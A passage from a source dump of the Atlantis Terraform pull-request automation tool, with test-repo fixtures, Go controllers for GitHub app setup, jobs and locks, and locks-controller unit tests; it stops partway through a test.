server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `.` workspace: `default` ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-default.txt ================================================ Ran Plan for project: `default` dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "default" + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -p default ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p default ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/exp-output-plan-staging.txt ================================================ Ran Plan for project: `staging` dir: `.` workspace: `default`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.simple[0] will be created + resource "null_resource" "simple" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + var = "staging" + workspace = "default" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -p staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -p staging ``` Plan: 1 to add, 0 to change, 0 to destroy. --- * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/main.tf ================================================ terraform { backend "local" { } } resource "null_resource" "simple" { count = 1 } variable "var" { } output "var" { value = var.var } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/staging.backend.tfvars ================================================ path = "staging.tfstate" ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/staging.tfvars ================================================ var = "staging" ================================================ FILE: server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/workspace-parallel-yaml/atlantis.yaml ================================================ version: 3 parallel_plan: false parallel_apply: true projects: - dir: production workspace: production autoplan: when_modified: ["**/*.tf*"] - dir: staging workspace: staging autoplan: when_modified: ["**/*.tf*"] ================================================ FILE: server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-apply-all-production.txt ================================================ ```diff null_resource.this: Creating... null_resource.this: Creation complete after *s [id=*******************] Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "production" ``` ================================================ FILE: server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-apply-all-staging.txt ================================================ ```diff null_resource.this: Creating... null_resource.this: Creation complete after *s [id=*******************] Apply complete! Resources: 1 added, 0 changed, 0 destroyed. Outputs: workspace = "staging" ================================================ FILE: server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-autoplan-production.txt ================================================ Ran Plan for 2 projects: 1. dir: `production` workspace: `production` 1. dir: `staging` workspace: `staging` --- ### 1. dir: `production` workspace: `production`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.this will be created + resource "null_resource" "this" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "production" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d production -w production ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d production -w production ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: `staging` workspace: `staging`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.this will be created + resource "null_resource" "this" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "staging" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d staging -w staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d staging -w staging ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-autoplan-staging.txt ================================================ Ran Plan for 2 projects: 1. dir: `production` workspace: `production` 1. dir: `staging` workspace: `staging` --- ### 1. dir: `production` workspace: `production`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.this will be created + resource "null_resource" "this" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "production" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d production -w production ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d production -w production ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### 2. dir: `staging` workspace: `staging`
Show Output ```diff Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create Terraform will perform the following actions: # null_resource.this will be created + resource "null_resource" "this" { + id = (known after apply) } Plan: 1 to add, 0 to change, 0 to destroy. Changes to Outputs: + workspace = "staging" ```
* :arrow_forward: To **apply** this plan, comment: ```shell atlantis apply -d staging -w staging ``` * :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: ```shell atlantis plan -d staging -w staging ``` Plan: 1 to add, 0 to change, 0 to destroy. --- ### Plan Summary 2 projects, 2 with changes, 0 with no changes, 0 failed * :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: ```shell atlantis apply ``` * :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: ```shell atlantis unlock ``` ================================================ FILE: server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-merge.txt ================================================ Locks and plans deleted for the projects and workspaces modified in this pull request: - dir: `production` workspace: `production` - dir: `staging` workspace: `staging` ================================================ FILE: server/controllers/events/testdata/test-repos/workspace-parallel-yaml/production/main.tf ================================================ resource "null_resource" "this" { } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/workspace-parallel-yaml/production/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/events/testdata/test-repos/workspace-parallel-yaml/staging/main.tf ================================================ resource "null_resource" "this" { } output "workspace" { value = terraform.workspace } ================================================ FILE: server/controllers/events/testdata/test-repos/workspace-parallel-yaml/staging/versions.tf ================================================ terraform { required_providers { null = { source = "hashicorp/null" version = "3.2.4" } } } ================================================ FILE: server/controllers/github_app_controller.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package controllers import ( "encoding/json" "fmt" "net/http" "net/url" "github.com/runatlantis/atlantis/server/controllers/web_templates" "github.com/runatlantis/atlantis/server/events/vcs/github" "github.com/runatlantis/atlantis/server/logging" ) // GithubAppController handles the creation and setup of a new GitHub app type GithubAppController struct { AtlantisURL *url.URL `validate:"required"` Logger logging.SimpleLogging `validate:"required"` GithubSetupComplete bool GithubHostname string `validate:"required"` GithubOrg string } type githubWebhook struct { URL string `json:"url"` Active bool `json:"active"` } // githubAppRequest contains the query parameters for // https://developer.github.com/apps/building-github-apps/creating-github-apps-from-a-manifest type githubAppRequest struct { Description string `json:"description"` Events []string `json:"default_events"` Name string `json:"name"` Permissions map[string]string `json:"default_permissions"` Public bool `json:"public"` RedirectURL string `json:"redirect_url"` URL string `json:"url"` Webhook *githubWebhook `json:"hook_attributes"` } // ExchangeCode handles the user coming back from creating their app // A code query parameter is exchanged for this app's ID, key, and webhook_secret // Implements https://developer.github.com/apps/building-github-apps/creating-github-apps-from-a-manifest/#implementing-the-github-app-manifest-flow func (g *GithubAppController) ExchangeCode(w http.ResponseWriter, r *http.Request) { if g.GithubSetupComplete { g.respond(w, logging.Error, http.StatusBadRequest, "Atlantis already has GitHub credentials") return } code := r.URL.Query().Get("code") if code == "" { g.respond(w, logging.Debug, http.StatusOK, "Ignoring callback, missing code query parameter") } g.Logger.Debug("Exchanging GitHub app code for app credentials") creds := &github.AnonymousCredentials{} config := github.Config{} // This client does not post comments, so we don't need to configure it with maxCommentsPerCommand. client, err := github.New(g.GithubHostname, creds, config, 0, g.Logger) if err != nil { g.respond(w, logging.Error, http.StatusInternalServerError, "Failed to exchange code for github app: %s", err) return } app, err := client.ExchangeCode(g.Logger, code) if err != nil { g.respond(w, logging.Error, http.StatusInternalServerError, "Failed to exchange code for github app: %s", err) return } g.Logger.Debug("Found credentials for GitHub app %q with id %d", app.Name, app.ID) err = web_templates.GithubAppSetupTemplate.Execute(w, web_templates.GithubSetupData{ Target: "", Manifest: "", ID: app.ID, Key: app.Key, WebhookSecret: app.WebhookSecret, URL: app.URL, CleanedBasePath: g.AtlantisURL.Path, }) if err != nil { g.Logger.Err(err.Error()) } } // New redirects the user to create a new GitHub app func (g *GithubAppController) New(w http.ResponseWriter, _ *http.Request) { if g.GithubSetupComplete { g.respond(w, logging.Error, http.StatusBadRequest, "Atlantis already has GitHub credentials") return } manifest := &githubAppRequest{ Name: fmt.Sprintf("Atlantis for %s", g.AtlantisURL.Hostname()), Description: fmt.Sprintf("Terraform Pull Request Automation at %s", g.AtlantisURL), URL: g.AtlantisURL.String(), RedirectURL: fmt.Sprintf("%s/github-app/exchange-code", g.AtlantisURL), Public: false, Webhook: &githubWebhook{ Active: true, URL: fmt.Sprintf("%s/events", g.AtlantisURL), }, Events: []string{ "check_run", "create", "delete", "issue_comment", "issues", "pull_request_review_comment", "pull_request_review", "pull_request", "push", }, Permissions: map[string]string{ "checks": "write", "contents": "write", "issues": "write", "pull_requests": "write", "repository_hooks": "write", "statuses": "write", "administration": "read", "members": "read", "actions": "read", }, } url := &url.URL{ Scheme: "https", Host: g.GithubHostname, Path: "/settings/apps/new", } // https://developer.github.com/apps/building-github-apps/creating-github-apps-using-url-parameters/#about-github-app-url-parameters if g.GithubOrg != "" { url.Path = fmt.Sprintf("organizations/%s%s", g.GithubOrg, url.Path) } jsonManifest, err := json.MarshalIndent(manifest, "", " ") if err != nil { g.respond(w, logging.Error, http.StatusBadRequest, "Failed to serialize manifest: %s", err) return } err = web_templates.GithubAppSetupTemplate.Execute(w, web_templates.GithubSetupData{ Target: url.String(), Manifest: string(jsonManifest), }) if err != nil { g.Logger.Err(err.Error()) } } func (g *GithubAppController) respond(w http.ResponseWriter, lvl logging.LogLevel, code int, format string, args ...any) { response := fmt.Sprintf(format, args...) g.Logger.Log(lvl, response) w.WriteHeader(code) fmt.Fprintln(w, response) } ================================================ FILE: server/controllers/jobs_controller.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package controllers import ( "fmt" "net/http" "net/url" "github.com/gorilla/mux" "github.com/runatlantis/atlantis/server/controllers/web_templates" "github.com/runatlantis/atlantis/server/controllers/websocket" "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics" tally "github.com/uber-go/tally/v4" ) type JobIDKeyGenerator struct{} func (g JobIDKeyGenerator) Generate(r *http.Request) (string, error) { jobID, ok := mux.Vars(r)["job-id"] if !ok { return "", fmt.Errorf("internal error: no job-id in route") } return jobID, nil } type JobsController struct { AtlantisVersion string `validate:"required"` AtlantisURL *url.URL `validate:"required"` Logger logging.SimpleLogging `validate:"required"` ProjectJobsTemplate web_templates.TemplateWriter `validate:"required"` ProjectJobsErrorTemplate web_templates.TemplateWriter `validate:"required"` Database db.Database `validate:"required"` WsMux *websocket.Multiplexor `validate:"required"` KeyGenerator JobIDKeyGenerator StatsScope tally.Scope `validate:"required"` } func (j *JobsController) getProjectJobs(w http.ResponseWriter, r *http.Request) error { jobID, err := j.KeyGenerator.Generate(r) if err != nil { j.respond(w, logging.Error, http.StatusBadRequest, "%s", err.Error()) return err } viewData := web_templates.ProjectJobData{ AtlantisVersion: j.AtlantisVersion, ProjectPath: jobID, CleanedBasePath: j.AtlantisURL.Path, } return j.ProjectJobsTemplate.Execute(w, viewData) } func (j *JobsController) GetProjectJobs(w http.ResponseWriter, r *http.Request) { errorCounter := j.StatsScope.SubScope("getprojectjobs").Counter(metrics.ExecutionErrorMetric) err := j.getProjectJobs(w, r) if err != nil { j.Logger.Err(err.Error()) errorCounter.Inc(1) } } func (j *JobsController) getProjectJobsWS(w http.ResponseWriter, r *http.Request) error { err := j.WsMux.Handle(w, r) if err != nil { j.respond(w, logging.Error, http.StatusInternalServerError, "%s", err.Error()) return err } return nil } func (j *JobsController) GetProjectJobsWS(w http.ResponseWriter, r *http.Request) { jobsMetric := j.StatsScope.SubScope("getprojectjobs") errorCounter := jobsMetric.Counter(metrics.ExecutionErrorMetric) executionTime := jobsMetric.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() err := j.getProjectJobsWS(w, r) if err != nil { errorCounter.Inc(1) } } func (j *JobsController) respond(w http.ResponseWriter, lvl logging.LogLevel, responseCode int, format string, args ...any) { response := fmt.Sprintf(format, args...) j.Logger.Log(lvl, response) w.WriteHeader(responseCode) fmt.Fprintln(w, response) } ================================================ FILE: server/controllers/locks_controller.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package controllers import ( "fmt" "net/http" "net/url" "github.com/runatlantis/atlantis/server/controllers/web_templates" "github.com/gorilla/mux" "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/core/locking" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/logging" ) // LocksController handles all requests relating to Atlantis locks. type LocksController struct { AtlantisVersion string `validate:"required"` AtlantisURL *url.URL `validate:"required"` Locker locking.Locker `validate:"required"` Logger logging.SimpleLogging `validate:"required"` ApplyLocker locking.ApplyLocker `validate:"required"` VCSClient vcs.Client `validate:"required"` LockDetailTemplate web_templates.TemplateWriter `validate:"required"` WorkingDir events.WorkingDir `validate:"required"` WorkingDirLocker events.WorkingDirLocker `validate:"required"` Database db.Database `validate:"required"` DeleteLockCommand events.DeleteLockCommand `validate:"required"` } // LockApply handles creating a global apply lock. // If Lock already exists it will be a no-op func (l *LocksController) LockApply(w http.ResponseWriter, _ *http.Request) { lock, err := l.ApplyLocker.LockApply() if err != nil { l.respond(w, logging.Error, http.StatusInternalServerError, "creating apply lock failed with: %s", err) return } l.respond(w, logging.Info, http.StatusOK, "Apply Lock is acquired on %s", lock.Time.Format("2006-01-02 15:04:05")) } // UnlockApply handles releasing a global apply lock. // If Lock doesn't exists it will be a no-op func (l *LocksController) UnlockApply(w http.ResponseWriter, _ *http.Request) { err := l.ApplyLocker.UnlockApply() if err != nil { l.respond(w, logging.Error, http.StatusInternalServerError, "deleting apply lock failed with: %s", err) return } l.respond(w, logging.Info, http.StatusOK, "Deleted apply lock") } // GetLock is the GET /locks/{id} route. It renders the lock detail view. func (l *LocksController) GetLock(w http.ResponseWriter, r *http.Request) { id, ok := mux.Vars(r)["id"] if !ok { l.respond(w, logging.Warn, http.StatusBadRequest, "No lock id in request") return } idUnencoded, err := url.QueryUnescape(id) if err != nil { l.respond(w, logging.Warn, http.StatusBadRequest, "Invalid lock id: %s", err) return } lock, err := l.Locker.GetLock(idUnencoded) if err != nil { l.respond(w, logging.Error, http.StatusInternalServerError, "Failed getting lock: %s", err) return } if lock == nil { l.respond(w, logging.Info, http.StatusNotFound, "No lock found at id '%s'", idUnencoded) return } owner, repo := models.SplitRepoFullName(lock.Project.RepoFullName) viewData := web_templates.LockDetailData{ LockKeyEncoded: id, LockKey: idUnencoded, PullRequestLink: lock.Pull.URL, LockedBy: lock.Pull.Author, Workspace: lock.Workspace, AtlantisVersion: l.AtlantisVersion, CleanedBasePath: l.AtlantisURL.Path, RepoOwner: owner, RepoName: repo, } err = l.LockDetailTemplate.Execute(w, viewData) if err != nil { l.Logger.Err(err.Error()) } } // DeleteLock handles deleting the lock at id and commenting back on the // pull request that the lock has been deleted. func (l *LocksController) DeleteLock(w http.ResponseWriter, r *http.Request) { id, ok := mux.Vars(r)["id"] if !ok || id == "" { l.respond(w, logging.Warn, http.StatusBadRequest, "No lock id in request") return } idUnencoded, err := url.PathUnescape(id) if err != nil { l.respond(w, logging.Warn, http.StatusBadRequest, "Invalid lock id '%s'. Failed with error: '%s'", id, err) return } lock, err := l.DeleteLockCommand.DeleteLock(l.Logger, idUnencoded) if err != nil { l.respond(w, logging.Error, http.StatusInternalServerError, "deleting lock failed with: '%s'", err) return } if lock == nil { l.respond(w, logging.Info, http.StatusNotFound, "No lock found at id '%s'", idUnencoded) return } // NOTE: Because BaseRepo was added to the PullRequest model later, previous // installations of Atlantis will have locks in their DB that do not have // this field on PullRequest. We skip commenting in this case. if lock.Pull.BaseRepo != (models.Repo{}) { if err := l.Database.UpdateProjectStatus(lock.Pull, lock.Workspace, lock.Project.Path, models.DiscardedPlanStatus); err != nil { l.Logger.Err("unable to update project status: %s", err) } // Once the lock has been deleted, comment back on the pull request. comment := fmt.Sprintf("**Warning**: The plan for dir: `%s` workspace: `%s` was **discarded** via the Atlantis UI.\n\n"+ "To `apply` this plan you must run `plan` again.", lock.Project.Path, lock.Workspace) if err = l.VCSClient.CreateComment(l.Logger, lock.Pull.BaseRepo, lock.Pull.Num, comment, ""); err != nil { l.Logger.Warn("failed commenting on pull request: %s", err) } } else { l.Logger.Debug("skipping commenting on pull request and deleting workspace because BaseRepo field is empty") } l.respond(w, logging.Info, http.StatusOK, "Deleted lock id '%s'", id) } // respond is a helper function to respond and log the response. lvl is the log // level to log at, code is the HTTP response code. func (l *LocksController) respond(w http.ResponseWriter, lvl logging.LogLevel, responseCode int, format string, args ...any) { response := fmt.Sprintf(format, args...) l.Logger.Log(lvl, response) w.WriteHeader(responseCode) fmt.Fprintln(w, response) } ================================================ FILE: server/controllers/locks_controller_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package controllers_test import ( "bytes" "errors" "fmt" "net/http" "net/http/httptest" "net/url" "testing" "time" "github.com/runatlantis/atlantis/server/controllers" "github.com/runatlantis/atlantis/server/controllers/web_templates" tMocks "github.com/runatlantis/atlantis/server/controllers/web_templates/mocks" "github.com/runatlantis/atlantis/server/core/boltdb" "github.com/runatlantis/atlantis/server/core/db" "github.com/runatlantis/atlantis/server/core/locking" "github.com/gorilla/mux" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events/command" mocks2 "github.com/runatlantis/atlantis/server/events/mocks" "github.com/runatlantis/atlantis/server/events/models" vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" "go.uber.org/mock/gomock" ) func TestCreateApplyLock(t *testing.T) { t.Run("Creates apply lock", func(t *testing.T) { req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() layout := "2006-01-02T15:04:05.000Z" strLockTime := "2020-09-01T00:45:26.371Z" expLockTime := "2020-09-01 00:45:26" lockTime, _ := time.Parse(layout, strLockTime) ctrl := gomock.NewController(t) l := mocks.NewMockApplyLocker(ctrl) l.EXPECT().LockApply().Return(locking.ApplyCommandLock{ Locked: true, Time: lockTime, }, nil) lc := controllers.LocksController{ Logger: logging.NewNoopLogger(t), ApplyLocker: l, } lc.LockApply(w, req) ResponseContains(t, w, http.StatusOK, fmt.Sprintf("Apply Lock is acquired on %s", expLockTime)) }) t.Run("Apply lock creation fails", func(t *testing.T) { req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() ctrl := gomock.NewController(t) l := mocks.NewMockApplyLocker(ctrl) l.EXPECT().LockApply().Return(locking.ApplyCommandLock{ Locked: false, }, errors.New("failed to acquire lock")) lc := controllers.LocksController{ Logger: logging.NewNoopLogger(t), ApplyLocker: l, } lc.LockApply(w, req) ResponseContains(t, w, http.StatusInternalServerError, "creating apply lock failed with: failed to acquire lock") }) } func TestUnlockApply(t *testing.T) { t.Run("Apply lock deleted successfully", func(t *testing.T) { req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() ctrl := gomock.NewController(t) l := mocks.NewMockApplyLocker(ctrl) l.EXPECT().UnlockApply().Return(nil) lc := controllers.LocksController{ Logger: logging.NewNoopLogger(t), ApplyLocker: l, } lc.UnlockApply(w, req) ResponseContains(t, w, http.StatusOK, "Deleted apply lock") }) t.Run("Apply lock deletion failed", func(t *testing.T) { req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() ctrl := gomock.NewController(t) l := mocks.NewMockApplyLocker(ctrl) l.EXPECT().UnlockApply().Return(errors.New("failed to delete lock")) lc := controllers.LocksController{ Logger: logging.NewNoopLogger(t), ApplyLocker: l, } lc.UnlockApply(w, req) ResponseContains(t, w, http.StatusInternalServerError, "deleting apply lock failed with: failed to delete lock") }) } func TestGetLockRoute_NoLockID(t *testing.T) { t.Log("If there is no lock ID in the request then we should get a 400") req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() lc := controllers.LocksController{ Logger: logging.NewNoopLogger(t), } lc.GetLock(w, req) ResponseContains(t, w, http.StatusBadRequest, "No lock id in request") } func TestGetLock_InvalidLockID(t *testing.T) { t.Log("If the lock ID is invalid then we should get a 400") lc := controllers.LocksController{ Logger: logging.NewNoopLogger(t), } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "%A@"}) w := httptest.NewRecorder() lc.GetLock(w, req) ResponseContains(t, w, http.StatusBadRequest, "Invalid lock id") } func TestGetLock_LockerErr(t *testing.T) { t.Log("If there is an error retrieving the lock, a 500 is returned") ctrl := gomock.NewController(t) l := mocks.NewMockLocker(ctrl) l.EXPECT().GetLock("id").Return(nil, errors.New("err")) lc := controllers.LocksController{ Logger: logging.NewNoopLogger(t), Locker: l, } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "id"}) w := httptest.NewRecorder() lc.GetLock(w, req) ResponseContains(t, w, http.StatusInternalServerError, "err") } func TestGetLock_None(t *testing.T) { t.Log("If there is no lock at that ID we get a 404") ctrl := gomock.NewController(t) l := mocks.NewMockLocker(ctrl) l.EXPECT().GetLock("id").Return(nil, nil) lc := controllers.LocksController{ Logger: logging.NewNoopLogger(t), Locker: l, } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "id"}) w := httptest.NewRecorder() lc.GetLock(w, req) ResponseContains(t, w, http.StatusNotFound, "No lock found at id 'id'") } func TestGetLock_Success(t *testing.T) { t.Log("Should be able to render a lock successfully") RegisterMockTestingT(t) // needed for pegomock TemplateWriter mock ctrl := gomock.NewController(t) l := mocks.NewMockLocker(ctrl) l.EXPECT().GetLock("id").Return(&models.ProjectLock{ Project: models.Project{RepoFullName: "owner/repo", Path: "path"}, Pull: models.PullRequest{URL: "url", Author: "lkysow"}, Workspace: "workspace", }, nil) tmpl := tMocks.NewMockTemplateWriter() atlantisURL, err := url.Parse("https://example.com/basepath") Ok(t, err) lc := controllers.LocksController{ Logger: logging.NewNoopLogger(t), Locker: l, LockDetailTemplate: tmpl, AtlantisVersion: "1300135", AtlantisURL: atlantisURL, } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "id"}) w := httptest.NewRecorder() lc.GetLock(w, req) tmpl.VerifyWasCalledOnce().Execute(w, web_templates.LockDetailData{ LockKeyEncoded: "id", LockKey: "id", RepoOwner: "owner", RepoName: "repo", PullRequestLink: "url", LockedBy: "lkysow", Workspace: "workspace", AtlantisVersion: "1300135", CleanedBasePath: "/basepath", }) ResponseContains(t, w, http.StatusOK, "") } func TestDeleteLock_NoLockID(t *testing.T) { t.Log("If there is no lock ID in the request then we should get a 400") req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) w := httptest.NewRecorder() lc := controllers.LocksController{Logger: logging.NewNoopLogger(t)} lc.DeleteLock(w, req) ResponseContains(t, w, http.StatusBadRequest, "No lock id in request") } func TestDeleteLock_InvalidLockID(t *testing.T) { t.Log("If the lock ID is invalid then we should get a 400") lc := controllers.LocksController{Logger: logging.NewNoopLogger(t)} req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "%A@"}) w := httptest.NewRecorder() lc.DeleteLock(w, req) ResponseContains(t, w, http.StatusBadRequest, "Invalid lock id '%A@'") } func TestDeleteLock_LockerErr(t *testing.T) { t.Log("If there is an error retrieving the lock, a 500 is returned") RegisterMockTestingT(t) dlc := mocks2.NewMockDeleteLockCommand() When(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(nil, errors.New("err")) lc := controllers.LocksController{ DeleteLockCommand: dlc, Logger: logging.NewNoopLogger(t), } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "id"}) w := httptest.NewRecorder() lc.DeleteLock(w, req) ResponseContains(t, w, http.StatusInternalServerError, "err") } func TestDeleteLock_None(t *testing.T) { t.Log("If there is no lock at that ID we get a 404") RegisterMockTestingT(t) dlc := mocks2.NewMockDeleteLockCommand() When(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(nil, nil) lc := controllers.LocksController{ DeleteLockCommand: dlc, Logger: logging.NewNoopLogger(t), } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "id"}) w := httptest.NewRecorder() lc.DeleteLock(w, req) ResponseContains(t, w, http.StatusNotFound, "No lock found at id 'id'") } func TestDeleteLock_OldFormat(t *testing.T) { t.Log("If the lock doesn't have BaseRepo set it is deleted successfully") RegisterMockTestingT(t) cp := vcsmocks.NewMockClient() dlc := mocks2.NewMockDeleteLockCommand() When(dlc.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(&models.ProjectLock{}, nil) lc := controllers.LocksController{ DeleteLockCommand: dlc, Logger: logging.NewNoopLogger(t), VCSClient: cp, } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "id"}) w := httptest.NewRecorder() lc.DeleteLock(w, req) ResponseContains(t, w, http.StatusOK, "Deleted lock id 'id'") cp.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } func TestDeleteLock_UpdateProjectStatus(t *testing.T) { t.Log("When deleting a lock, pull status has to be updated to reflect discarded plan") RegisterMockTestingT(t) repoName := "owner/repo" projectPath := "path" workspaceName := "workspace" cp := vcsmocks.NewMockClient() l := mocks2.NewMockDeleteLockCommand() workingDir := mocks2.NewMockWorkingDir() workingDirLocker := events.NewDefaultWorkingDirLocker() pull := models.PullRequest{ BaseRepo: models.Repo{FullName: repoName}, } When(l.DeleteLock(Any[logging.SimpleLogging](), Eq("id"))).ThenReturn(&models.ProjectLock{ Pull: pull, Workspace: workspaceName, Project: models.Project{ Path: projectPath, RepoFullName: repoName, }, }, nil) var database db.Database tmp := t.TempDir() database, err := boltdb.New(tmp) Ok(t, err) // Seed the DB with a successful plan for that project (that is later discarded). _, err = database.UpdatePullWithResults(pull, []command.ProjectResult{ { Command: command.Plan, RepoRelDir: projectPath, Workspace: workspaceName, ProjectCommandOutput: command.ProjectCommandOutput{ PlanSuccess: &models.PlanSuccess{ TerraformOutput: "tf-output", LockURL: "lock-url", }, }, }, }) Ok(t, err) lc := controllers.LocksController{ DeleteLockCommand: l, Logger: logging.NewNoopLogger(t), VCSClient: cp, WorkingDirLocker: workingDirLocker, WorkingDir: workingDir, Database: database, } req, _ := http.NewRequest("GET", "", bytes.NewBuffer(nil)) req = mux.SetURLVars(req, map[string]string{"id": "id"}) w := httptest.NewRecorder() lc.DeleteLock(w, req) ResponseContains(t, w, http.StatusOK, "Deleted lock id 'id'") status, err := database.GetPullStatus(pull) Ok(t, err) Assert(t, status.Projects != nil, "status projects was nil") Equals(t, []models.ProjectStatus{ { Workspace: workspaceName, RepoRelDir: projectPath, Status: models.DiscardedPlanStatus, }, }, status.Projects) } func TestDeleteLock_CommentFailed(t *testing.T) { t.Log("If the commenting fails we still return success") RegisterMockTestingT(t) dlc := mocks2.NewMockDeleteLockCommand() 